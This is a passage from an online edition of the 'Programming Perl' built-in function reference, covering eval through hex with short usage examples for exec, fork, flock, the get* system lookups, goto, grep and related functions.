
eval '$x';        # CASE 3
eval { $x };      # CASE 4

eval "\$$x++";    # CASE 5
$$x++;            # CASE 6

Cases 1 and 2 above behave identically: they run the code contained in the variable $x. (Case 2 has misleading double quotes, making the reader wonder what else might be happening, when nothing is. The contents of $x would in any event have to be converted to a string for parsing.) Cases 3 and 4 likewise behave in the same way: they run the code $x, which does nothing at all except return the value of $x. (Case 4 is preferred since the expression doesn't need to recompiled each time.) Case 5 is a place where normally you would like to use double quotes to let you interpolate the variable name, except that in this particular situation you can just use symbolic references instead, as in case 6.

A frequently asked question is how to set up an exit routine. One common way is to use an END block. But you can also do it with an eval, like this:

#!/usr/bin/perl

eval <<'EndOfEval';  $start = __LINE__;
   .
   .           # your ad here
   .
EndOfEval

# Cleanup

unlink "/tmp/myfile$$";
$@ && ($@ =~ s/\(eval \d+\) at line (\d+)/$0 .
    " line " . ($1+$start)/e, die $@);
exit 0;

Note that the code supplied for an eval might not be recompiled if the text hasn't changed. On the rare occasions when you want to force a recompilation (because you want to reset a .. operator, for instance), you could say something like this:

eval $prog . '#' . ++$seq;

Previous: 3.2.31 eof | Programming Perl | Next: 3.2.33 exec
3.2.31 eof | Book Index | 3.2.33 exec


[Chapter 3] 3.2.33 exec

Programming PerlSearch this book

3.2.33 exec

exec LIST

This function terminates the currently running Perl script by executing another program in place of itself. If there is more than one argument in LIST (or if LIST is an array with more than one value) the function calls C's execvp(3) routine with the arguments in LIST. This bypasses any shell processing of the command. If there is only one scalar argument, the argument is checked for shell metacharacters. If metacharacters are found, the entire argument is passed to "/bin/sh -c" for parsing.[3] If there are no metacharacters, the argument is split into words and passed directly to execvp(3) in the interests of efficiency, since this bypasses all the overhead of shell processing. Ordinarily exec never returns - if it does return, it always returns false, and you should check $! to find out what went wrong. Note that exec (and system) do not flush your output buffer, so you may need to enable command buffering by setting $| on one or more filehandles to avoid lost output. This statement runs the echo program to print the current argument list:

[3] Under UNIX, that is. Other operating systems may use other command interpreters.

exec 'echo', 'Your arguments are: ', @ARGV;

This example shows that you can exec a pipeline:

exec "sort $outfile | uniq"
  or die "Can't do sort/uniq: $!\n";

The UNIX execv(3) call provides the ability to tell a program the name it was invoked as. This name might have nothing to do with the name of the program you actually gave the operating system to run. By default, Perl simply replicates the first element of LIST and uses it for both purposes. If, however, you don't really want to execute the first argument of LIST, but you want to lie to the program you are executing about its own name, you can do so. Put the real name of the program you want to run into a variable and then put that variable out in front of the LIST without a comma, kind of like a filehandle for a print statement. (This always forces interpretation of the LIST as a multi-valued list, even if there is only a single scalar in the list.) Then the first element of LIST will be used only to mislead the executing program as to its name. For example:

$shell = '/bin/csh';
exec $shell '-sh', @args;      # pretend it's a login shell
die "Couldn't execute csh: $!\n";

You can also replace the simple scalar holding the program name with a block containing arbitrary code, which simplifies the above example to:

exec {'/bin/csh'} '-sh', @args; # pretend it's a login shell

Previous: 3.2.32 eval | Programming Perl | Next: 3.2.34 exists
3.2.32 eval | Book Index | 3.2.34 exists


[Chapter 3] 3.2.34 exists

Programming PerlSearch this book

3.2.34 exists

exists EXPR

This function returns true if the specified hash key exists in its hash, even if the corresponding value is undefined.

print "Exists\n" if exists $hash{$key};
print "Defined\n" if defined $hash{$key};
print "True\n" if $hash{$key};

A hash element can only be true if it's defined, and can only be defined if it exists, but the reverse doesn't necessarily hold true in either case.

EXPR can be arbitrarily complicated as long as the final operation is a hash key lookup:

if (exists $ref->[$x][$y]{$key}) { ... }

Previous: 3.2.33 exec | Programming Perl | Next: 3.2.35 exit
3.2.33 exec | Book Index | 3.2.35 exit


[Chapter 3] 3.2.35 exit

Programming PerlSearch this book

3.2.35 exit

exit EXPR

This function evaluates EXPR and exits immediately with that value. Here's a fragment that lets a user exit the program by typing x or X:

$ans = <STDIN>;
exit 0 if $ans =~ /^[Xx]/;

If EXPR is omitted, the function exits with 0 status. You shouldn't use exit to abort a subroutine if there's any chance that someone might want to trap whatever error happened. Use die instead, which can be trapped by an eval.

Previous: 3.2.34 exists | Programming Perl | Next: 3.2.36 exp
3.2.34 exists | Book Index | 3.2.36 exp


[Chapter 3] 3.2.36 exp

Programming PerlSearch this book

3.2.36 exp

exp EXPR

This function returns e to the power of EXPR. If EXPR is omitted, it gives exp($_). To do general exponentiation, use the ** operator.

Previous: 3.2.35 exit | Programming Perl | Next: 3.2.37 fcntl
3.2.35 exit | Book Index | 3.2.37 fcntl


[Chapter 3] 3.2.37 fcntl

Programming PerlSearch this book

3.2.37 fcntl

fcntl FILEHANDLE, FUNCTION, SCALAR

This function calls UNIX's fcntl(2) function. (fcntl stands for "file control".) You'll probably have to say:

use Fcntl;

first to get the correct function definitions. SCALAR will be read and/or written depending on the FUNCTION - a pointer to the string value of SCALAR will be passed as the third argument of the actual fcntl call. (If SCALAR has no string value but does have a numeric value, that value will be passed directly rather than a pointer to the string value.)

The return value of fcntl (and ioctl) is as follows:

System call returns | Perl returns
-1 | undefined value
0 | string "0 but true"
anything else | that number

Thus Perl returns true on success and false on failure, yet you can still easily determine the actual value returned by the operating system:

$retval = fcntl(...) or $retval = -1;
printf "System returned %d\n", $retval;

Here, even the string "0 but true" prints as 0, thanks to the %d format.

For example, since Perl always sets the close-on-exec flag for file descriptors above 2, if you wanted to pass file descriptor 3 to a subprocess, you might want to clear the flag like this:

use Fcntl;
open TTY,"+>/dev/tty" or die "Can't open /dev/tty: $!\n";
fileno TTY == 3 or die "Internal error: fd mixup";
fcntl TTY, &F_SETFL, 0
    or die "Can't clear the close-on-exec flag: $!\n";

fcntl will produce a fatal error if used on a machine that doesn't implement fcntl(2). On machines that do implement it, you can do such things as modify the close-on-exec flags, modify the non-blocking I/O flags, emulate the lockf(3) function, and arrange to receive the SIGIO signal when I/O is pending. You might even have record-locking facilities.

Previous: 3.2.36 exp | Programming Perl | Next: 3.2.38 fileno
3.2.36 exp | Book Index | 3.2.38 fileno


[Chapter 3] 3.2.38 fileno

Programming PerlSearch this book

3.2.38 fileno

fileno FILEHANDLE

This function returns the file descriptor for a filehandle. (A file descriptor is a small integer, unlike the filehandle, which is a symbol.) It returns undef if the handle is not open. It's useful for constructing bitmaps for select, and for passing to certain obscure system calls if syscall(2) is implemented. It's also useful for double-checking that the open function gave you the file descriptor you wanted - see the example under fcntl.

If FILEHANDLE is an expression, its value is taken to represent a filehandle, either indirectly by name, or directly as a reference to a filehandle object.

A caution: don't count on the association of a Perl filehandle and a numeric file descriptor throughout the life of the program. If a file has been closed and reopened, the file descriptor may change. Filehandles STDIN, STDOUT, and STDERR start with file descriptors of 0, 1, and 2 (the UNIX standard convention), but even they can change if you start closing and opening them with wild abandon. But you can't get into trouble with 0, 1, and 2 as long as you always reopen immediately after closing, since the basic rule on UNIX systems is to pick the lowest available descriptor, and that'll be the one you just closed.

Previous: 3.2.37 fcntl | Programming Perl | Next: 3.2.39 flock
3.2.37 fcntl | Book Index | 3.2.39 flock


[Chapter 3] 3.2.39 flock

Programming PerlSearch this book

3.2.39 flock

flock FILEHANDLE, OPERATION

This function calls flock(2) on FILEHANDLE. See the manual page for flock(2) for the definition of OPERATION. Invoking flock will produce a fatal error if used on a machine that doesn't implement flock(2) or emulate it through some other locking mechanism. Here's a mailbox appender for some BSD-based systems:

$LOCK_SH = 1;
$LOCK_EX = 2;
$LOCK_NB = 4;
$LOCK_UN = 8;

sub lock {
    flock MBOX, $LOCK_EX;
    # and, in case someone appended
    # while we were waiting...
    seek MBOX, 0, 2;
}

sub unlock {
    flock MBOX, $LOCK_UN;
}

open MBOX, ">>/usr/spool/mail/$ENV{'USER'}"
    or die "Can't open mailbox: $!";

lock();
print MBOX $msg, "\n\n";
unlock();

Note that flock is unlikely to work on a file being accessed through a network file system.

Previous: 3.2.38 fileno | Programming Perl | Next: 3.2.40 fork
3.2.38 fileno | Book Index | 3.2.40 fork


[Chapter 3] 3.2.40 fork

Programming PerlSearch this book

3.2.40 fork

fork

This function does a fork(2) call. If it succeeds, the function returns the child pid to the parent process and 0 to the child process. (If it fails, it returns the undefined value to the parent process. There is no child process.) Note that unflushed buffers remain unflushed in both processes, which means you may need to set $| on one or more filehandles earlier in the program to avoid duplicate output.

A nearly bulletproof way to launch a child process while checking for "cannot fork" errors would be:

FORK: {
    if ($pid = fork) {
        # parent here
        # child process pid is available in $pid
    } elsif (defined $pid) { # $pid is zero here if defined
        # child here
        # parent process pid is available with getppid
    } elsif ($! =~ /No more process/) {
        # EAGAIN, supposedly recoverable fork error
        sleep 5;
        redo FORK;
    } else {
        # weird fork error
        die "Can't fork: $!\n";
    }
}

These precautions are not necessary on operations which do an implicit fork(2), such as system, backquotes, or opening a process as a filehandle, because Perl automatically retries a fork on a temporary failure in these cases. Be very careful to end the child code with an exit, or your child may inadvertently leave the conditional and start executing code intended only for the parent process.

If you fork your child processes, you'll have to wait on their zombies when they die. See the wait function for examples of doing this.

The fork function is unlikely to be implemented on any operating system not resembling UNIX, unless it purports POSIX compliance.

Previous: 3.2.39 flock | Programming Perl | Next: 3.2.41 format
3.2.39 flock | Book Index | 3.2.41 format


[Chapter 3] 3.2.41 format

Programming PerlSearch this book

3.2.41 format

format NAME =
    picture line
    value list
    ...
.

Declares a named sequence of picture lines (with associated values) for use by the write function. If NAME is omitted, the name defaults to STDOUT, which happens to be the default format name for the STDOUT filehandle. Since, like a sub declaration, this is a global declaration that happens at compile time, any variables used in the value list need to be visible at the point of the format's declaration. That is, lexically scoped variables must be declared earlier in the file, while dynamically scoped variables merely need to be set in the routine that calls write. Here's an example (which assumes we've already calculated $cost and $quantity):

my $str = "widget";               # A lexically scoped variable.

format Nice_Output =
Test: @<<<<<<<< @||||| @>>>>>
      $str,     $%,    '$' . int($num)
.

$~ = "Nice_Output";               # Select our format.
local $num = $cost * $quantity;   # Dynamically scoped variable.

write;

Like filehandles, format names are identifiers that exist in a symbol table (package) and may be fully qualified by package name. Within the typeglobs of a symbol table's entries, formats reside in their own namespace, which is distinct from filehandles, directory handles, scalars, arrays, hashes, or subroutines. Like those other six types, however, a format named Whatever would also be affected by a local on the *Whatever typeglob. In other words, a format is just another gadget contained in a typeglob, independent of the other gadgets.

The "Formats" section in Chapter 2 contains numerous details and examples of their use. The "Per Filehandle Special Variables" and "Global Special Variables" sections in Chapter 2 describe the internal format-specific variables, and the English and FileHandle modules in Chapter 7 provide easier access to them.

Previous: 3.2.40 fork | Programming Perl | Next: 3.2.42 formline
3.2.40 fork | Book Index | 3.2.42 formline


[Chapter 3] 3.2.42 formline

Programming PerlSearch this book

3.2.42 formline

formline PICTURE, LIST

This is an internal function used by formats, although you may also call it. It formats a list of values according to the contents of PICTURE, placing the output into the format output accumulator, $^A. Eventually, when a write is done, the contents of $^A are written to some filehandle, but you could also read $^A yourself and then set $^A back to "". Note that a format typically does one formline per line of form, but the formline function itself doesn't care how many newlines are embedded in the PICTURE. This means that the ~ and ~~ tokens will treat the entire PICTURE as a single line. You may therefore need to use multiple formlines to implement a single record-format, just like the format compiler.

Be careful if you put double quotes around the picture, since an @ character may be taken to mean the beginning of an array name. formline always returns true. See "Formats" in Chapter 2 for other examples.

Previous: 3.2.41 format | Programming Perl | Next: 3.2.43 getc
3.2.41 format | Book Index | 3.2.43 getc


[Chapter 3] 3.2.43 getc

Programming PerlSearch this book

3.2.43 getc

getc FILEHANDLE
getc

This function returns the next byte from the input file attached to FILEHANDLE. At end-of-file, it returns a null string. If FILEHANDLE is omitted, the function reads from STDIN. This operator is very slow, but is occasionally useful for single-character, buffered input from the keyboard. This does not enable single-character input. For unbuffered input, you have to be slightly more clever, in an operating-system-dependent fashion. Under UNIX you might say this:

if ($BSD_STYLE) {
  system "stty cbreak </dev/tty >/dev/tty 2>&1";
} else {
  system "stty", "-icanon", "eol", "\001";
}

$key = getc;

if ($BSD_STYLE) {
  system "stty -cbreak </dev/tty >/dev/tty 2>&1";
} else {
  system "stty", "icanon", "eol", "^@"; # ASCII NUL
}
print "\n";

This code puts the next character typed on the terminal in the string $key. If your stty program has options like cbreak, you'll need to use the code where $BSD_STYLE is true, otherwise, you'll need to use the code where it is false. Determining the options for stty is left as an exercise to the reader.

The POSIX module in Chapter 7 provides a more portable version of this using the POSIX::getattr() function. See also the TERM::ReadKey module from your nearest CPAN site.

Previous: 3.2.42 formline | Programming Perl | Next: 3.2.44 getgrent
3.2.42 formline | Book Index | 3.2.44 getgrent


[Chapter 3] 3.2.44 getgrent

Programming PerlSearch this book

3.2.44 getgrent

getgrent
setgrent
endgrent

These functions do the same thing as their like-named system library routines - see getgrent(3). These routines iterate through your /etc/group file (or its moral equivalent coming from some server somewhere). The return value from getgrent in list context is:

($name, $passwd, $gid, $members)

where $members contains a space-separated list of the login names of the members of the group. To set up a hash for translating group names to gids, say this:

while (($name, $passwd, $gid) = getgrent) {
    $gid{$name} = $gid;
}

In scalar context, getgrent returns only the group name.

Previous: 3.2.43 getc | Programming Perl | Next: 3.2.45 getgrgid
3.2.43 getc | Book Index | 3.2.45 getgrgid


[Chapter 3] 3.2.45 getgrgid

Programming PerlSearch this book

3.2.45 getgrgid

getgrgid GID

This function does the same thing as getgrgid(3): it looks up a group file entry by group number. The return value in list context is:

($name, $passwd, $gid, $members)

where $members contains a space-separated list of the login names of the members of the group. If you want to do this repeatedly, consider caching the data in a hash (associative array) using getgrent.

In scalar context, getgrgid returns only the group name.

Previous: 3.2.44 getgrent | Programming Perl | Next: 3.2.46 getgrnam
3.2.44 getgrent | Book Index | 3.2.46 getgrnam


[Chapter 3] 3.2.46 getgrnam

Programming PerlSearch this book

3.2.46 getgrnam

getgrnam NAME

This function does the same thing as getgrnam(3): it looks up a group file entry by group name. The return value in list context is:

($name, $passwd, $gid, $members)

where $members contains a space-separated list of the login names of the members of the group. If you want to do this repeatedly, consider slurping the data into a hash (associative array) using getgrent.

In scalar context, getgrnam returns only the numeric group ID.

Previous: 3.2.45 getgrgid | Programming Perl | Next: 3.2.47 gethostbyaddr
3.2.45 getgrgid | Book Index | 3.2.47 gethostbyaddr


[Chapter 3] 3.2.47 gethostbyaddr

Programming PerlSearch this book

3.2.47 gethostbyaddr

gethostbyaddr ADDR, ADDRTYPE

This function does the same thing as gethostbyaddr(3): it translates a packed binary network address to its corresponding names (and alternate addresses). The return value in list context is:

($name, $aliases, $addrtype, $length, @addrs)

where @addrs is a list of packed binary addresses. In the Internet domain, each address is four bytes long, and can be unpacked by saying something like:

($a, $b, $c, $d) = unpack('C4', $addrs[0]);

In scalar context, gethostbyaddr returns only the host name. See the section on "Sockets" in Chapter 6 for another approach.

Previous: 3.2.46 getgrnam | Programming Perl | Next: 3.2.48 gethostbyname
3.2.46 getgrnam | Book Index | 3.2.48 gethostbyname


[Chapter 3] 3.2.48 gethostbyname

Programming PerlSearch this book

3.2.48 gethostbyname

gethostbyname NAME

This function does the same thing as gethostbyname(3): it translates a network hostname to its corresponding addresses (and other names). The return value in list context is:

($name, $aliases, $addrtype, $length, @addrs)

where @addrs is a list of raw addresses. In the Internet domain, each address is four bytes long, and can be unpacked by saying something like:

($a, $b, $c, $d) = unpack('C4', $addrs[0]);

In scalar context, gethostbyname returns only the host address. See the section on "Sockets" in Chapter 6 for another approach.

Previous: 3.2.47 gethostbyaddr | Programming Perl | Next: 3.2.49 gethostent
3.2.47 gethostbyaddr | Book Index | 3.2.49 gethostent


[Chapter 3] 3.2.49 gethostent

Programming PerlSearch this book

3.2.49 gethostent

gethostent
sethostent STAYOPEN
endhostent

These functions do the same thing as their like-named system library routines - see gethostent(3).

They iterate through your /etc/hosts file and return each entry one at a time. The return value from gethostent is:

($name, $aliases, $addrtype, $length, @addrs)

where @addrs is a list of raw addresses. In the Internet domain, each address is four bytes long, and can be unpacked by saying something like:

($a, $b, $c, $d) = unpack('C4', $addrs[0]);

Scripts that use these routines should not be considered portable. If a machine uses a nameserver, it would interrogate most of the Internet to try to satisfy a request for all the addresses of every machine on the planet. So these routines are unimplemented on such machines.

Previous: 3.2.48 gethostbyname | Programming Perl | Next: 3.2.50 getlogin
3.2.48 gethostbyname | Book Index | 3.2.50 getlogin


[Chapter 3] 3.2.50 getlogin

Programming PerlSearch this book

3.2.50 getlogin

getlogin

This function returns the current login from /etc/utmp, if any. If null, use getpwuid. For example:

$login = getlogin || (getpwuid($<))[0] || "Intruder!!";

Previous: 3.2.49 gethostent | Programming Perl | Next: 3.2.51 getnetbyaddr
3.2.49 gethostent | Book Index | 3.2.51 getnetbyaddr


[Chapter 3] 3.2.51 getnetbyaddr

Programming PerlSearch this book

3.2.51 getnetbyaddr

getnetbyaddr ADDR, ADDRTYPE

This function does the same thing as getnetbyaddr(3): it translates a network address to the corresponding network name or names. The return value in list context is:

($name, $aliases, $addrtype, $net)

In scalar context, getnetbyaddr returns only the network name.

Previous: 3.2.50 getlogin | Programming Perl | Next: 3.2.52 getnetbyname
3.2.50 getlogin | Book Index | 3.2.52 getnetbyname


[Chapter 3] 3.2.52 getnetbyname

Programming PerlSearch this book

3.2.52 getnetbyname

getnetbyname NAME

This function does the same thing as getnetbyname(3): it translates a network name to its corresponding network address. The return value in list context is:

($name, $aliases, $addrtype, $net)

In scalar context, getnetbyname returns only the network address.

Previous: 3.2.51 getnetbyaddr | Programming Perl | Next: 3.2.53 getnetent
3.2.51 getnetbyaddr | Book Index | 3.2.53 getnetent


[Chapter 3] 3.2.53 getnetent

Programming PerlSearch this book

3.2.53 getnetent

getnetent
setnetent STAYOPEN
endnetent

These functions do the same thing as their like-named system library routines - see getnetent(3). They iterate through your /etc/networks file, or moral equivalent. The return value in list context is:

($name, $aliases, $addrtype, $net)

In scalar context, getnetent returns only the network name.

Previous: 3.2.52 getnetbyname | Programming Perl | Next: 3.2.54 getpeername
3.2.52 getnetbyname | Book Index | 3.2.54 getpeername


[Chapter 3] 3.2.54 getpeername

Programming PerlSearch this book

3.2.54 getpeername

getpeername SOCKET

This function returns the packed socket address of other end of the SOCKET connection. For example:

use Socket;
$hersockaddr = getpeername SOCK;
($port, $heraddr) = unpack_sockaddr_in($hersockaddr);
$herhostname = gethostbyaddr($heraddr, AF_INET);
$herstraddr = inet_ntoa($heraddr);

Previous: 3.2.53 getnetent | Programming Perl | Next: 3.2.55 getpgrp
3.2.53 getnetent | Book Index | 3.2.55 getpgrp


[Chapter 3] 3.2.55 getpgrp

Programming PerlSearch this book

3.2.55 getpgrp

getpgrp PID

This function returns the current process group for the specified PID (use a PID of 0 for the current process). Invoking getpgrp will produce a fatal error if used on a machine that doesn't implement getpgrp(2). If PID is omitted, the function returns the process group of the current process (the same as using a PID of 0). On systems implementing this operator with the POSIX getpgrp(2) system call, PID must be omitted or, if supplied, must be 0.

Previous: 3.2.54 getpeername | Programming Perl | Next: 3.2.56 getppid
3.2.54 getpeername | Book Index | 3.2.56 getppid


[Chapter 3] 3.2.56 getppid

Programming PerlSearch this book

3.2.56 getppid

getppid

This function returns the process ID of the parent process. On the typical UNIX system, if your parent process ID changes to 1, your parent process has died and you've been adopted by the init program.

Previous: 3.2.55 getpgrp | Programming Perl | Next: 3.2.57 getpriority
3.2.55 getpgrp | Book Index | 3.2.57 getpriority


[Chapter 3] 3.2.57 getpriority

Programming PerlSearch this book

3.2.57 getpriority

getpriority WHICH, WHO

This function returns the current priority for a process, a process group, or a user. See getpriority(2). Invoking getpriority will produce a fatal error if used on a machine that doesn't implement getpriority(2). For example, to get the priority of the current process, use:

$curprio = getpriority(0, 0);

Previous: 3.2.56 getppid | Programming Perl | Next: 3.2.58 getprotobyname
3.2.56 getppid | Book Index | 3.2.58 getprotobyname


[Chapter 3] 3.2.58 getprotobyname

Programming PerlSearch this book

3.2.58 getprotobyname

getprotobyname NAME

This function does the same thing as getprotobyname(3): it translates a protocol name to its corresponding number. The return value in list context is:

($name, $aliases, $protocol_number)

In scalar context, getprotobyname returns only the protocol number.

Previous: 3.2.57 getpriority | Programming Perl | Next: 3.2.59 getprotobynumber
3.2.57 getpriority | Book Index | 3.2.59 getprotobynumber


[Chapter 3] 3.2.59 getprotobynumber

Programming PerlSearch this book

3.2.59 getprotobynumber

getprotobynumber NUMBER

This function does the same thing as getprotobynumber(3): it translates a protocol number to its corresponding name. The return value in list context is:

($name, $aliases, $protocol_number)

In scalar context, getprotobynumber returns only the protocol name.

Previous: 3.2.58 getprotobyname | Programming Perl | Next: 3.2.60 getprotoent
3.2.58 getprotobyname | Book Index | 3.2.60 getprotoent


[Chapter 3] 3.2.60 getprotoent

Programming PerlSearch this book

3.2.60 getprotoent

getprotoent
setprotoent STAYOPEN
endprotoent

These functions do the same thing as their like-named system library routines - see getprotent(3). The return value from getprotoent is:

($name, $aliases, $protocol_number)

In scalar context, getprotoent returns only the protocol name.

Previous: 3.2.59 getprotobynumber | Programming Perl | Next: 3.2.61 getpwent
3.2.59 getprotobynumber | Book Index | 3.2.61 getpwent


[Chapter 3] 3.2.61 getpwent

Programming PerlSearch this book

3.2.61 getpwent

getpwent
setpwent
endpwent

These functions do the same thing as their like-named system library routines - see getpwent(3). They iterate through your /etc/passwd file (or its moral equivalent coming from some server somewhere). The return value in list context is:

($name,$passwd,$uid,$gid,$quota,$comment,$gcos,$dir,$shell)

Some machines may use the quota and comment fields for other purposes, but the remaining fields will always be the same. To set up a hash for translating login names to uids, say this:

while (($name, $passwd, $uid) = getpwent) {
    $uid{$name} = $uid;
}

In scalar context, getpwent returns only the username.

Previous: 3.2.60 getprotoent | Programming Perl | Next: 3.2.62 getpwnam
3.2.60 getprotoent | Book Index | 3.2.62 getpwnam


[Chapter 3] 3.2.62 getpwnam

Programming PerlSearch this book

3.2.62 getpwnam

getpwnam NAME

This function does the same thing as getpwnam(3): it translates a username to the corresponding passwd file entry. The return value in list context is:

($name,$passwd,$uid,$gid,$quota,$comment,$gcos,$dir,$shell)

If you want to do this repeatedly, consider caching the data in a hash (associative array) using getpwent.

In scalar context, getpwnam returns only the numeric user ID.

Previous: 3.2.61 getpwent | Programming Perl | Next: 3.2.63 getpwuid
3.2.61 getpwent | Book Index | 3.2.63 getpwuid


[Chapter 3] 3.2.63 getpwuid

Programming PerlSearch this book

3.2.63 getpwuid

getpwuid UID

This function does the same thing as getpwuid(3): it translates a numeric user id to the corresponding passwd file entry. The return value in list context is:

($name,$passwd,$uid,$gid,$quota,$comment,$gcos,$dir,$shell)

If you want to do this repeatedly, consider slurping the data into a hash using getpwent.

In scalar context, getpwuid returns the username.

Previous: 3.2.62 getpwnam | Programming Perl | Next: 3.2.64 getservbyname
3.2.62 getpwnam | Book Index | 3.2.64 getservbyname


[Chapter 3] 3.2.64 getservbyname

Programming PerlSearch this book

3.2.64 getservbyname

getservbyname NAME, PROTO

This function does the same thing as getservbyname(3): it translates a service (port) name to its corresponding port number. PROTO is a protocol name such as "tcp". The return value in list context is:

($name, $aliases, $port_number, $protocol_name)

In scalar context, getservbyname returns only the service port number.

Previous: 3.2.63 getpwuid | Programming Perl | Next: 3.2.65 getservbyport
3.2.63 getpwuid | Book Index | 3.2.65 getservbyport


[Chapter 3] 3.2.65 getservbyport

Programming PerlSearch this book

3.2.65 getservbyport

getservbyport PORT, PROTO

This function does the same thing as getservbyport(3): it translates a service (port) number to its corresponding names. PROTO is a protocol name such as "tcp". The return value in list context is:

($name, $aliases, $port_number, $protocol_name)

In scalar context, getservbyport returns only the service port name.

Previous: 3.2.64 getservbyname | Programming Perl | Next: 3.2.66 getservent
3.2.64 getservbyname | Book Index | 3.2.66 getservent


[Chapter 3] 3.2.66 getservent

Programming PerlSearch this book

3.2.66 getservent

getservent
setservent STAYOPEN
endservent

These functions do the same thing as their like-named system library routines - see getservent(3). They iterate through the /etc/services file or its equivalent. The return value in list context is:

($name, $aliases, $port_number, $protocol_name)

In scalar context, getservent returns only the service port name.

Previous: 3.2.65 getservbyport | Programming Perl | Next: 3.2.67 getsockname
3.2.65 getservbyport | Book Index | 3.2.67 getsockname


[Chapter 3] 3.2.67 getsockname

Programming PerlSearch this book

3.2.67 getsockname

getsockname SOCKET

This function returns the packed sockaddr address of this end of the SOCKET connection. (And why wouldn't you know your own address already? Because you might have bound an address containing wildcards to the generic socket before doing an accept. Or because you might have been passed a socket by your parent process - for example, inetd.)

use Socket;
$mysockaddr = getsockname(SOCK);
($port, $myaddr) = unpack_sockaddr_in($mysockaddr);

Previous: 3.2.66 getservent | Programming Perl | Next: 3.2.68 getsockopt
3.2.66 getservent | Book Index | 3.2.68 getsockopt


[Chapter 3] 3.2.68 getsockopt

Programming PerlSearch this book

3.2.68 getsockopt

getsockopt SOCKET, LEVEL, OPTNAME

This function returns the socket option requested, or the undefined value if there is an error. See setsockopt for more.

Previous: 3.2.67 getsockname | Programming Perl | Next: 3.2.69 glob
3.2.67 getsockname | Book Index | 3.2.69 glob


[Chapter 3] 3.2.69 glob

Programming PerlSearch this book

3.2.69 glob

glob EXPR

This function returns the value of EXPR with filename expansions such as a shell would do. (If EXPR is omitted, $_ is globbed instead.) This is the internal function implementing the <*> operator, except that it may be easier to type this way. For example, compare these two:

@result = map { glob($_) } "*.c", "*.c,v";

@result = map <${_}>, "*.c", "*.c,v";

The glob function is not related to the Perl notion of typeglobs, other than that they both use a * to represent multiple items.

Previous: 3.2.68 getsockopt | Programming Perl | Next: 3.2.70 gmtime
3.2.68 getsockopt | Book Index | 3.2.70 gmtime


[Chapter 3] 3.2.70 gmtime

Programming PerlSearch this book

3.2.70 gmtime

gmtime EXPR

This function converts a time as returned by the time function to a 9-element list with the time correct for the Greenwich time zone (aka GMT, or UTC, or even Zulu in certain cultures, not including the Zulu culture, oddly enough). Typically used as follows:

($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =
        gmtime(time);

All list elements are numeric, and come straight out of a struct tm (that's a C programming structure - don't sweat it). In particular this means that $mon has the range 0..11, $wday has the range 0..6, and the year has had 1,900 subtracted from it. (You can remember which ones are 0-based because those are the ones you're always using as subscripts into 0-based arrays containing month and day names.) If EXPR is omitted, it does gmtime(time). For example, to print the current month in London:

$london_month = (qw(Jan Feb Mar Apr May Jun
        Jul Aug Sep Oct Nov Dec))[(gmtime)[4]];

The Perl library module Time::Local contains a subroutine, timegm(), that can convert in the opposite direction.

In scalar context, gmtime returns a ctime(3)-like string based on the GMT time value.

Previous: 3.2.69 glob | Programming Perl | Next: 3.2.71 goto
3.2.69 glob | Book Index | 3.2.71 goto


[Chapter 3] 3.2.71 goto

Programming PerlSearch this book

3.2.71 goto

goto LABEL
goto EXPR
goto &NAME

goto LABEL finds the statement labeled with LABEL and resumes execution there. It may not be used to go into any construct that requires initialization, such as a subroutine or a foreach loop. It also can't be used to go into a construct that is optimized away. It can be used to go almost anywhere else within the dynamic scope,[4] including out of subroutines, but for that purpose it's usually better to use some other construct such as last or die. The author of Perl has never felt the need to use this form of goto (in Perl, that is - C is another matter).

[4] This means that if it doesn't find the label in the current routine, it looks back through the routines that called the current routine for the label, thus making it nearly impossible to maintain your program.

Going to even greater heights of orthogonality (and depths of idiocy), Perl allows goto EXPR, which expects EXPR to evaluate to a label name, whose scope is guaranteed to be unresolvable until run-time since the label is unknown when the statement is compiled. This allows for computed gotos per FORTRAN, but isn't necessarily recommended[5] if you're optimizing for maintainability:

[5] Understatement is reputed to be funny, so we thought we'd try one here.

goto +("FOO", "BAR", "GLARCH")[$i];

goto &NAME is highly magical, substituting a call to the named subroutine for the currently running subroutine. This is used by AUTOLOAD subroutines that wish to load another subroutine and then pretend that this subroutine - and not the original one - had been called in the first place (except that any modifications to @_ in the original subroutine are propagated to the replacement subroutine). After the goto, not even caller will be able to tell that the original routine was called first.

Previous: 3.2.70 gmtime | Programming Perl | Next: 3.2.72 grep
3.2.70 gmtime | Book Index | 3.2.72 grep


[Chapter 3] 3.2.72 grep

Programming PerlSearch this book

3.2.72 grep

grep EXPR, LIST
grep BLOCK LIST

This function evaluates EXPR or BLOCK in a Boolean context for each element of LIST, temporarily setting $_ to each element in turn. In list context, it returns a list of those elements for which the expression is true. (The operator is named after a beloved UNIX program that extracts lines out of a file that match a particular pattern. In Perl the expression is often a pattern, but doesn't have to be.) In scalar context, grep returns the number of times the expression was true.

Presuming @all_lines contains lines of code, this example weeds out comment lines:

@code_lines = grep !/^#/, @all_lines;

Since $_ is a reference into the list value, altering $_ will modify the elements of the original list. While this is useful and supported, it can occasionally cause bizarre results if you aren't expecting it. For example:

@list = qw(barney fred dino wilma);
@greplist = grep { s/^[bfd]// } @list;

@greplist is now "arney", "red", "ino", but @list is now "arney", "red", "ino", "wilma"! Caveat Programmor.

See also map. The following two statements are functionally equivalent:

@out = grep { EXPR } @in;
@out = map { EXPR ? $_ : () } @in

Previous: 3.2.71 goto | Programming Perl | Next: 3.2.73 hex
3.2.71 goto | Book Index | 3.2.73 hex


[Chapter 3] 3.2.73 hex

Programming PerlSearch this book

3.2.73 hex

hex EXPR

This function interprets EXPR as a hexadecimal string and returns the equivalent decimal value. (To interpret strings that might start with 0 or 0x see oct.) If EXPR is omitted, it interprets $_. The following code sets $number to 4,294,906,560:

$number = hex("ffff12c0");

To do the inverse function, use:

sprintf "%lx", $number;         # (That's an ell, not a one.)

Previous: 3.2.72 grep | Programming Perl | Next: 3.2.74 import
3.2.72 grep | Book Index | 3.2.74 import


[Chapter 3] 3.2.74 import

Programming PerlSearch this book

3.2.74 import

import CLASSNAME LIST
import CLASSNAME

There is no built-in import function. It is merely an ordinary class method defined (or inherited) by modules that wish to export names to another module through the use operator. See use for details.

Previous: 3.2.73 hex | Programming Perl | Next: 3.2.75 index
3.2.73 hex | Book Index | 3.2.75 index


[Chapter 3] 3.2.75 index

Programming PerlSearch this book

3.2.75 index

index STR, SUBSTR, POSITION
index STR, SUBSTR

